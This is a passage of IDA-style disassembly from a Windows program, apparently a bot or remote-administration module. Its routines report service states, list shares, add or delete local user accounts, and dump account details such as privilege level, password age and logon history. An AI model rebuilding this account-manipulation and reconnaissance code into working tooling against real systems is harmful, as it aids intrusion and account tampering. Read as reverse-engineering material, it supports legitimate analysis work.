		jz	short loc_418F74
		dec	eax
		jz	short loc_418F6D
		dec	eax
		jz	short loc_418F66
		dec	eax
		jz	short loc_418F5F
		dec	eax
		jz	short loc_418F58
		dec	eax
		jz	short loc_418F51
		dec	eax
		jz	short loc_418F4A
		push	offset aUnknown_0 ; "	 Unknown"
		jmp	short loc_418F79
; ---------------------------------------------------------------------------


loc_418F4A:				; CODE XREF: sub_418EA8+99j
		push	offset aPaused_0 ; "	 Paused"
		jmp	short loc_418F79
; ---------------------------------------------------------------------------


loc_418F51:				; CODE XREF: sub_418EA8+96j
		push	offset aPausing	; "    Pausing"
		jmp	short loc_418F79
; ---------------------------------------------------------------------------


loc_418F58:				; CODE XREF: sub_418EA8+93j
		push	offset aContinuing ; " Continuing"
		jmp	short loc_418F79
; ---------------------------------------------------------------------------


loc_418F5F:				; CODE XREF: sub_418EA8+90j
		push	offset aRunning	; "    Running"
		jmp	short loc_418F79
; ---------------------------------------------------------------------------


loc_418F66:				; CODE XREF: sub_418EA8+8Dj
		push	offset aStoping	; "    Stoping"
		jmp	short loc_418F79
; ---------------------------------------------------------------------------


loc_418F6D:				; CODE XREF: sub_418EA8+8Aj
		push	offset aStarting ; "   Starting"
		jmp	short loc_418F79
; ---------------------------------------------------------------------------


loc_418F74:				; CODE XREF: sub_418EA8+87j
		push	offset aStopped	; "    Stopped"


loc_418F79:				; CODE XREF: sub_418EA8+A0j
					; sub_418EA8+A7j ...
		lea	eax, [ebp+var_20]
		push	eax
		call	sub_41C266
		pop	ecx
		lea	eax, [ebp+var_20]
		pop	ecx
		push	dword ptr [esi]
		push	dword ptr [esi-4]
		push	eax
		lea	eax, [ebp+var_38C]
		push	offset aSSS	; "%s: %s (%s)"
		push	eax
		call	sub_41C266
		push	1
		lea	eax, [ebp+var_38C]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 28h
		inc	edi
		add	esi, 24h
		cmp	edi, [ebp+var_4]
		jl	loc_418F2B


loc_418FC5:				; CODE XREF: sub_418EA8+77j
		cmp	[ebp+var_8], ebx
		jnz	loc_418EE0


loc_418FCE:				; CODE XREF: sub_418EA8+6Cj
		push	[ebp+var_C]
		call	dword_4CB8CC
		xor	eax, eax
		pop	edi
		cmp	eax, [ebp+var_4]
		pop	esi
		pop	ebx
		sbb	eax, eax
		neg	eax
		leave
		retn
sub_418EA8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418FE5	proc near		; CODE XREF: sub_401ACD:loc_406064p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		test	edi, edi
		jz	loc_41907F
		mov	esi, [ebp+arg_0]
		mov	eax, esi
		sub	eax, 0
		jz	short loc_41900E
		dec	eax
		jnz	short loc_41905F
		push	edi
		push	0
		call	sub_4191B8
		pop	ecx
		pop	ecx
		jmp	short loc_41905B
; ---------------------------------------------------------------------------


loc_41900E:				; CODE XREF: sub_418FE5+18j
		cmp	[ebp+arg_8], 0
		jnz	short loc_41904D
		push	24h
		push	edi
		call	sub_41C990
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41904D
		push	57h
		pop	eax


loc_419025:				; CODE XREF: sub_418FE5+78j
		push	eax
		call	sub_4199AC
		pop	ecx
		push	eax
		lea	eax, [esi+esi*2]
		push	edi
		mov	esi, offset dword_4DB63C
		push	off_439518[eax*4]
		push	offset unk_439BC4
		push	esi
		call	sub_41C266
		add	esp, 14h
		jmp	short loc_41909F
; ---------------------------------------------------------------------------


loc_41904D:				; CODE XREF: sub_418FE5+2Dj
					; sub_418FE5+3Bj
		push	[ebp+arg_8]
		push	edi
		push	0
		call	sub_41910C
		add	esp, 0Ch


loc_41905B:				; CODE XREF: sub_418FE5+27j
		test	eax, eax
		jnz	short loc_419025


loc_41905F:				; CODE XREF: sub_418FE5+1Bj
		lea	eax, [esi+esi*2]
		push	edi
		mov	esi, offset dword_4DB63C
		push	off_43951C[eax*4]
		push	offset dword_439BA8
		push	esi
		call	sub_41C266
		add	esp, 10h
		jmp	short loc_41909F
; ---------------------------------------------------------------------------


loc_41907F:				; CODE XREF: sub_418FE5+Aj
		mov	eax, [ebp+arg_0]
		mov	esi, offset dword_4DB63C
		lea	eax, [eax+eax*2]
		push	off_439518[eax*4]
		push	offset unk_439B84
		push	esi
		call	sub_41C266
		add	esp, 0Ch


loc_41909F:				; CODE XREF: sub_418FE5+66j
					; sub_418FE5+98j
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_418FE5	endp


; =============== S U B	R O U T	I N E =======================================



sub_4190A5	proc near		; CODE XREF: sub_41A3C6+245p

arg_0		= dword	ptr  4
arg_C		= dword	ptr  10h

		push	esi
		xor	esi, esi
		cmp	[esp+4+arg_0], esi
		jnz	short loc_4190B2
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4190B2:				; CODE XREF: sub_4190A5+7j
		push	ebx
		push	ebp
		push	edi
		push	esi
		push	esi
		push	esi
		mov	edi, dword_427188
		push	esi
		push	0FFFFFFFFh
		mov	ebx, 400h
		push	[esp+24h+arg_0]
		push	ebx
		push	esi
		call	edi
		test	byte_4DB83C, 1
		mov	ebp, eax
		jnz	short loc_4190EF
		or	byte_4DB83C, 1
		lea	eax, [ebp+1]
		push	eax
		call	sub_41D9A5
		pop	ecx
		mov	dword_4DB5DC, eax


loc_4190EF:				; CODE XREF: sub_4190A5+32j
		push	esi
		push	esi
		push	ebp
		push	dword_4DB5DC
		push	0FFFFFFFFh
		push	[esp+18h+arg_C]
		push	ebx
		push	esi
		call	edi
		mov	eax, dword_4DB5DC
		pop	edi
		pop	ebp
		pop	ebx
		pop	esi
		retn
sub_4190A5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41910C	proc near		; CODE XREF: sub_418FE5+6Ep
					; sub_41A6EA+18Ap ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	edi
		push	[ebp+arg_0]
		call	sub_419177
		push	[ebp+arg_4]
		mov	edi, eax
		call	sub_419177
		push	24h
		mov	[ebp+var_20], eax
		push	[ebp+arg_4]
		call	sub_41C990
		push	[ebp+arg_8]
		mov	[ebp+var_14], 7Fh
		neg	eax
		sbb	eax, eax
		and	[ebp+var_18], 0
		or	[ebp+var_10], 0FFFFFFFFh
		and	[ebp+var_C], 0
		and	eax, 80000000h
		mov	[ebp+var_1C], eax
		call	sub_419177
		add	esp, 14h
		mov	[ebp+var_8], eax
		and	[ebp+var_4], 0
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		push	2
		push	edi
		call	dword_4CB8C8
		pop	edi
		leave
		retn
sub_41910C	endp


; =============== S U B	R O U T	I N E =======================================



sub_419177	proc near		; CODE XREF: sub_41910C+Ap
					; sub_41910C+14p ...

arg_0		= dword	ptr  4

		push	ebp
		mov	ebp, [esp+4+arg_0]
		xor	eax, eax
		cmp	ebp, eax
		jnz	short loc_419184
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_419184:				; CODE XREF: sub_419177+9j
		push	ebx
		push	esi
		mov	esi, dword_4270E8
		push	edi
		push	eax
		push	eax
		push	0FFFFFFFFh
		push	ebp
		push	1
		push	eax
		call	esi
		mov	edi, eax
		lea	eax, [edi+edi+2]
		push	eax
		call	sub_41D9A5
		pop	ecx
		mov	ebx, eax
		push	edi
		push	ebx
		push	0FFFFFFFFh
		push	ebp
		push	1
		push	0
		call	esi
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_419177	endp


; =============== S U B	R O U T	I N E =======================================



sub_4191B8	proc near		; CODE XREF: sub_418FE5+20p
					; sub_41A3C6+1BBp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	[esp+4+arg_0]
		call	sub_419177
		push	[esp+8+arg_4]
		mov	esi, eax
		call	sub_419177
		pop	ecx
		pop	ecx
		push	0
		push	eax
		push	esi
		call	dword_4CB8A0
		pop	esi
		retn
sub_4191B8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4191DB	proc near		; CODE XREF: sub_401ACD+45AEp

var_210		= byte ptr -210h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 210h
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_C]
		call	sub_419177
		xor	esi, esi
		mov	[ebp+var_C], eax
		push	esi
		mov	[ebp+arg_C], esi
		push	[ebp+arg_8]
		mov	[ebp+var_8], esi
		mov	[ebp+var_10], esi
		push	offset aShareNameResou ; "Share	name:	 Resource:		 "...
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 18h


loc_419214:				; CODE XREF: sub_4191DB+10Fj
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_4]
		push	0FFFFFFFFh
		push	eax
		push	1F6h
		push	[ebp+var_C]
		call	dword_4CB918
		mov	ebx, eax
		cmp	ebx, esi
		jz	short loc_419277
		cmp	ebx, 0EAh
		jz	short loc_419277
		push	ebx
		push	ebx
		call	sub_4199AC
		pop	ecx
		push	eax
		lea	eax, [ebp+var_210]
		push	offset unk_439C10
		push	eax
		call	sub_41C266
		push	esi
		lea	eax, [ebp+var_210]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 24h
		jmp	short loc_4192E4
; ---------------------------------------------------------------------------


loc_419277:				; CODE XREF: sub_4191DB+5Dj
					; sub_4191DB+65j
		push	1
		pop	edi
		cmp	[ebp+arg_C], edi
		jb	short loc_4192DB
		mov	eax, [ebp+var_4]
		lea	esi, [eax+14h]


loc_419285:				; CODE XREF: sub_4191DB+FCj
		push	dword ptr [esi+10h]
		call	dword_4CB8BC
		test	eax, eax
		mov	eax, offset aYes ; "Yes"
		jnz	short loc_41929C
		mov	eax, offset aNo	; "No"


loc_41929C:				; CODE XREF: sub_4191DB+BAj
		push	eax
		lea	eax, [ebp+var_210]
		push	dword ptr [esi]
		push	dword ptr [esi+4]
		push	dword ptr [esi-14h]
		push	offset a14s24s6u4s ; "%-14S %-24S %-6u %-4s"
		push	eax
		call	sub_41C266
		push	1
		lea	eax, [ebp+var_210]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 2Ch
		add	esi, 28h
		inc	edi
		cmp	edi, [ebp+arg_C]
		jbe	short loc_419285
		xor	esi, esi


loc_4192DB:				; CODE XREF: sub_4191DB+A2j
		push	[ebp+var_4]
		call	dword_4CBA64


loc_4192E4:				; CODE XREF: sub_4191DB+9Aj
		cmp	ebx, 0EAh
		jz	loc_419214
		xor	eax, eax
		cmp	ebx, esi
		pop	edi
		pop	esi
		setz	al
		pop	ebx
		leave
		retn
sub_4191DB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4192FC	proc near		; CODE XREF: sub_401ACD:loc_4060EDp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		push	edi
		xor	edi, edi
		cmp	ebx, edi
		jz	loc_4193A1
		mov	esi, [ebp+arg_0]
		mov	eax, esi
		sub	eax, edi
		jz	short loc_41933E
		dec	eax
		jz	short loc_419333
		dec	eax
		jnz	short loc_419359
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	ebx
		push	edi
		call	sub_419443
		add	esp, 14h
		jmp	short loc_419355
; ---------------------------------------------------------------------------


loc_419333:				; CODE XREF: sub_4192FC+1Dj
		push	ebx
		push	edi
		call	sub_419422
		pop	ecx
		pop	ecx
		jmp	short loc_419355
; ---------------------------------------------------------------------------


loc_41933E:				; CODE XREF: sub_4192FC+1Aj
		cmp	[ebp+arg_8], edi
		jz	short loc_419352
		push	[ebp+arg_8]
		push	ebx
		push	edi
		call	sub_4193C8
		add	esp, 0Ch
		jmp	short loc_419355
; ---------------------------------------------------------------------------


loc_419352:				; CODE XREF: sub_4192FC+45j
		push	57h
		pop	eax


loc_419355:				; CODE XREF: sub_4192FC+35j
					; sub_4192FC+40j ...
		cmp	eax, edi
		jnz	short loc_419379


loc_419359:				; CODE XREF: sub_4192FC+20j
		lea	eax, [esi+esi*2]
		push	ebx
		mov	esi, offset dword_4DB840
		push	off_43951C[eax*4]
		push	offset unk_439CC8
		push	esi
		call	sub_41C266
		add	esp, 10h
		jmp	short loc_4193C1
; ---------------------------------------------------------------------------


loc_419379:				; CODE XREF: sub_4192FC+5Bj
		push	eax
		call	sub_4199AC
		pop	ecx
		push	eax
		lea	eax, [esi+esi*2]
		push	ebx
		mov	esi, offset dword_4DB840
		push	off_439518[eax*4]
		push	offset unk_439C98
		push	esi
		call	sub_41C266
		add	esp, 14h
		jmp	short loc_4193C1
; ---------------------------------------------------------------------------


loc_4193A1:				; CODE XREF: sub_4192FC+Dj
		mov	eax, [ebp+arg_0]
		mov	esi, offset dword_4DB840
		lea	eax, [eax+eax*2]
		push	off_439518[eax*4]
		push	offset unk_439C70
		push	esi
		call	sub_41C266
		add	esp, 0Ch


loc_4193C1:				; CODE XREF: sub_4192FC+7Bj
					; sub_4192FC+A3j
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_4192FC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4193C8	proc near		; CODE XREF: sub_4192FC+4Cp

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		and	[ebp+var_4], 0
		push	edi
		push	[ebp+arg_0]
		call	sub_419177
		push	[ebp+arg_4]
		mov	edi, eax
		call	sub_419177
		push	[ebp+arg_8]
		mov	[ebp+var_24], eax
		call	sub_419177
		add	esp, 0Ch
		mov	[ebp+var_20], eax
		and	[ebp+var_14], 0
		and	[ebp+var_10], 0
		push	1
		and	[ebp+var_8], 0
		pop	eax
		lea	ecx, [ebp+var_4]
		push	ecx
		lea	ecx, [ebp+var_24]
		push	ecx
		push	eax
		push	edi
		mov	[ebp+var_18], eax
		mov	[ebp+var_C], 10001h
		call	dword_4CB8AC
		pop	edi
		leave
		retn
sub_4193C8	endp


; =============== S U B	R O U T	I N E =======================================



sub_419422	proc near		; CODE XREF: sub_4192FC+39p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	[esp+4+arg_0]
		call	sub_419177
		push	[esp+8+arg_4]
		mov	esi, eax
		call	sub_419177
		pop	ecx
		pop	ecx
		push	eax
		push	esi
		call	dword_4CB89C
		pop	esi
		retn
sub_419422	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419443	proc near		; CODE XREF: sub_4192FC+2Dp

var_204		= byte ptr -204h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 204h
		and	[ebp+var_4], 0
		push	esi
		push	[ebp+arg_0]
		call	sub_419177
		push	[ebp+arg_4]
		mov	esi, eax
		call	sub_419177
		pop	ecx
		pop	ecx
		lea	ecx, [ebp+var_4]
		push	ecx
		push	0Bh
		push	eax
		push	esi
		call	dword_4CBA2C
		test	eax, eax
		mov	[ebp+arg_0], eax
		jnz	loc_4197EB
		mov	eax, [ebp+var_4]
		test	eax, eax
		jz	loc_419826
		push	ebx
		push	edi
		push	dword ptr [eax]
		lea	eax, [ebp+var_204]
		push	offset aAccountS ; "Account: %S"
		push	eax
		call	sub_41C266
		mov	esi, [ebp+arg_10]
		mov	edi, [ebp+arg_C]
		mov	ebx, [ebp+arg_8]
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409869
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+0Ch]
		lea	eax, [ebp+var_204]
		push	offset aFullNameS ; "Full Name:	%S"
		push	eax
		call	sub_41C266
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409869
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+8]
		lea	eax, [ebp+var_204]
		push	offset aUserCommentS ; "User Comment: %S"
		push	eax
		call	sub_41C266
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409869
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+4]
		lea	eax, [ebp+var_204]
		push	offset aCommentS ; "Comment: %S"
		push	eax
		call	sub_41C266
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409869
		mov	eax, [ebp+var_4]
		add	esp, 20h
		mov	eax, [eax+10h]
		sub	eax, 0
		jz	short loc_419562
		dec	eax
		jz	short loc_41955B
		dec	eax
		jz	short loc_419554
		mov	eax, offset aUnknown ; "Unknown"
		jmp	short loc_419567
; ---------------------------------------------------------------------------


loc_419554:				; CODE XREF: sub_419443+108j
		mov	eax, offset aAdministrator ; "Administrator"
		jmp	short loc_419567
; ---------------------------------------------------------------------------


loc_41955B:				; CODE XREF: sub_419443+105j
		mov	eax, offset aUser_0 ; "User"
		jmp	short loc_419567
; ---------------------------------------------------------------------------


loc_419562:				; CODE XREF: sub_419443+102j
		mov	eax, offset aGuest ; "Guest"


loc_419567:				; CODE XREF: sub_419443+10Fj
					; sub_419443+116j ...
		push	eax
		lea	eax, [ebp+var_204]
		push	offset aPrivilegeLevel ; "Privilege Level: %s"
		push	eax
		call	sub_41C266
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409869
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+14h]
		lea	eax, [ebp+var_204]
		push	offset aAuthFlagsD ; "Auth Flags: %d"
		push	eax
		call	sub_41C266
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409869
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+1Ch]
		lea	eax, [ebp+var_204]
		push	offset aHomeDirectoryS ; "Home Directory: %S"
		push	eax
		call	sub_41C266
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409869
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+20h]
		lea	eax, [ebp+var_204]
		push	offset aParametersS ; "Parameters: %S"
		push	eax
		call	sub_41C266
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409869
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+18h]
		lea	eax, [ebp+var_204]
		push	offset aPasswordAgeD ; "Password Age: %d"
		push	eax
		call	sub_41C266
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409869
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+2Ch]
		lea	eax, [ebp+var_204]
		push	offset aBadPasswordCou ; "Bad Password Count: %d"
		push	eax
		call	sub_41C266
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409869
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+30h]
		lea	eax, [ebp+var_204]
		push	offset aNumberOfLogins ; "Number of Logins: %d"
		push	eax
		call	sub_41C266
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409869
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+24h]
		lea	eax, [ebp+var_204]
		push	offset aLastLogonD ; "Last Logon: %d"
		push	eax
		call	sub_41C266
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409869
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+28h]
		lea	eax, [ebp+var_204]
		push	offset aLastLogoffD ; "Last Logoff: %d"
		push	eax
		call	sub_41C266
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409869
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+34h]
		lea	eax, [ebp+var_204]
		push	offset aLogonServerS ; "Logon Server: %S"
		push	eax
		call	sub_41C266
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409869
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+3Ch]
		lea	eax, [ebp+var_204]
		push	offset aWorkstationsS ;	"Workstations: %S"
		push	eax
		call	sub_41C266
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409869
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+38h]
		lea	eax, [ebp+var_204]
		push	offset aCountryCodeD ; "Country	Code: %d"
		push	eax
		call	sub_41C266
		push	1
		push	esi
		lea	eax, [ebp+var_204]
		push	eax
		push	edi
		push	ebx
		call	sub_409869
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+4Ch]
		lea	eax, [ebp+var_204]
		push	offset aUserSLanguageD ; "User's Language: %d"
		push	eax
		call	sub_41C266
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409869
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+40h]
		lea	eax, [ebp+var_204]
		push	offset aMax_StorageD ; "Max. Storage: %d"
		push	eax
		call	sub_41C266
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409869
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+44h]
		lea	eax, [ebp+var_204]
		push	offset aUnitsPerWeekD ;	"Units Per Week: %d"
		push	eax
		call	sub_41C266
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409869
		add	esp, 20h
		pop	edi
		pop	ebx
		jmp	short loc_419817
; ---------------------------------------------------------------------------


loc_4197EB:				; CODE XREF: sub_419443+35j
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_439CE8
		push	eax
		call	sub_41C266
		push	0
		lea	eax, [ebp+var_204]
		push	[ebp+arg_10]
		push	eax
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		call	sub_409869
		add	esp, 20h


loc_419817:				; CODE XREF: sub_419443+3A6j
		cmp	[ebp+var_4], 0
		jz	short loc_419826
		push	[ebp+var_4]
		call	dword_4CBA64


loc_419826:				; CODE XREF: sub_419443+40j
					; sub_419443+3D8j
		mov	eax, [ebp+arg_0]
		pop	esi
		leave
		retn
sub_419443	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41982C	proc near		; CODE XREF: sub_401ACD+463Ap

var_218		= byte ptr -218h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 218h
		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		push	[ebp+arg_C]
		mov	[ebp+var_4], esi
		call	sub_419177
		push	esi
		mov	[ebp+var_14], eax
		push	[ebp+arg_8]
		mov	[ebp+arg_C], esi
		mov	[ebp+var_18], esi
		mov	[ebp+var_10], esi
		push	offset aUsernameAccoun ; "Username accounts for	local system:"
		mov	[ebp+var_8], esi
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 18h


loc_41986B:				; CODE XREF: sub_41982C+135j
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_4]
		push	0FFFFFFFFh
		push	eax
		push	2
		push	esi
		push	[ebp+var_14]
		call	dword_4CB934
		cmp	eax, esi
		mov	[ebp+var_C], eax
		jz	short loc_4198CC
		cmp	eax, 0EAh
		jz	short loc_4198CC
		push	eax
		push	eax
		call	sub_4199AC
		pop	ecx
		push	eax
		lea	eax, [ebp+var_218]
		push	offset unk_439ED8
		push	eax
		call	sub_41C266
		push	esi
		lea	eax, [ebp+var_218]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 24h
		jmp	short loc_419947
; ---------------------------------------------------------------------------


loc_4198CC:				; CODE XREF: sub_41982C+62j
					; sub_41982C+69j
		mov	edi, [ebp+var_4]
		cmp	edi, esi
		jz	loc_41995A
		xor	ebx, ebx
		cmp	[ebp+arg_C], esi
		jbe	short loc_419947


loc_4198DE:				; CODE XREF: sub_41982C+EDj
		cmp	edi, esi
		jz	short loc_41991D
		push	dword ptr [edi]
		lea	eax, [ebp+var_218]
		push	offset aS_4	; "  %S"
		push	eax
		call	sub_41C266
		push	1
		lea	eax, [ebp+var_218]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 20h
		add	edi, 4
		inc	[ebp+var_8]
		inc	ebx
		cmp	ebx, [ebp+arg_C]
		jb	short loc_4198DE
		jmp	short loc_419947
; ---------------------------------------------------------------------------


loc_41991D:				; CODE XREF: sub_41982C+B4j
		lea	eax, [ebp+var_218]
		push	offset unk_439EA4
		push	eax
		call	sub_41C266
		push	esi
		lea	eax, [ebp+var_218]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 1Ch


loc_419947:				; CODE XREF: sub_41982C+9Ej
					; sub_41982C+B0j ...
		mov	edi, [ebp+var_4]
		cmp	edi, esi
		jz	short loc_41995A
		push	edi
		call	dword_4CBA64
		xor	edi, edi
		mov	[ebp+var_4], edi


loc_41995A:				; CODE XREF: sub_41982C+A5j
					; sub_41982C+120j
		cmp	[ebp+var_C], 0EAh
		jz	loc_41986B
		cmp	edi, esi
		jz	short loc_419972
		push	edi
		call	dword_4CBA64


loc_419972:				; CODE XREF: sub_41982C+13Dj
		push	[ebp+var_8]
		lea	eax, [ebp+var_218]
		push	offset aTotalUsersFoun ; "Total	users found: %d."
		push	eax
		call	sub_41C266
		push	esi
		lea	eax, [ebp+var_218]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 20h
		xor	eax, eax
		cmp	[ebp+var_C], esi
		pop	edi
		pop	esi
		setz	al
		pop	ebx
		leave
		retn
sub_41982C	endp


; =============== S U B	R O U T	I N E =======================================



sub_4199AC	proc near		; CODE XREF: sub_418FE5+41p
					; sub_4191DB+69p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	ecx, 858h
		cmp	eax, ecx
		ja	loc_419A5E
		jz	loc_419A57
		cmp	eax, 7Bh
		ja	short loc_419A23
		jz	short loc_419A19
		cmp	eax, 5
		jz	short loc_419A0F
		cmp	eax, 8
		jz	short loc_419A05
		cmp	eax, 32h
		jz	short loc_4199FB
		cmp	eax, 35h
		jz	short loc_4199F1
		cmp	eax, 57h
		jnz	loc_419AAD
		push	offset aInvalidParamet ; "Invalid parameter."
		jmp	loc_419ACE
; ---------------------------------------------------------------------------


loc_4199F1:				; CODE XREF: sub_4199AC+30j
		push	offset aServerNameNotF ; "Server name not found."
		jmp	loc_419ACE
; ---------------------------------------------------------------------------


loc_4199FB:				; CODE XREF: sub_4199AC+2Bj
		push	offset aThisNetworkReq ; "This network request is not supported."
		jmp	loc_419ACE
; ---------------------------------------------------------------------------


loc_419A05:				; CODE XREF: sub_4199AC+26j
		push	offset aNotEnoughMemor ; "Not enough memory."
		jmp	loc_419ACE
; ---------------------------------------------------------------------------


loc_419A0F:				; CODE XREF: sub_4199AC+21j
		push	offset aAccessDenied_ ;	"Access	denied."
		jmp	loc_419ACE
; ---------------------------------------------------------------------------


